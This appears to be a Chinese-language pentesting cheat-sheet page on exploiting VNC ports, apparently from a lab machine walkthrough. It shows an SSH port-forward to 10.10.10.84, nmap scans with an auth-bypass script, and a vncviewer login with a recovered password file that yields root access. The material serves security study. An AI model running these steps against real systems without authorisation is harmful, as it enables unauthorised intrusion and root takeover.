> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/vnc-5800-5801-5900-5901.md).
# VNC - 5800,5801,5900,5901
通过 SSH 端口转发、VNC 服务扫描、vncviewer 访问和 root 会话验证来使用 VNC。
### 针对 5800、5801、5900 和 5901 的 VNC 利用
识别监听端口：
```bash
netstat -an | grep LISTEN
```
#### **用于重定向 VNC 端口的 SSH 隧道**
```bash
ssh -L 5801:127.0.0.1:5801 -L 5901:127.0.0.1:5901 charix@10.10.10.84
```
扫描 VNC 服务：
```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5801 127.0.0.1
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5901 127.0.0.1
```
#### **通过 vncviewer 连接**
使用在……中找到的密码 `secret.zip`:
```bash
vncviewer -passwd secret 127.0.0.1:5901
```
VNC 会话提供 **root 权限** 在该机器上。
---
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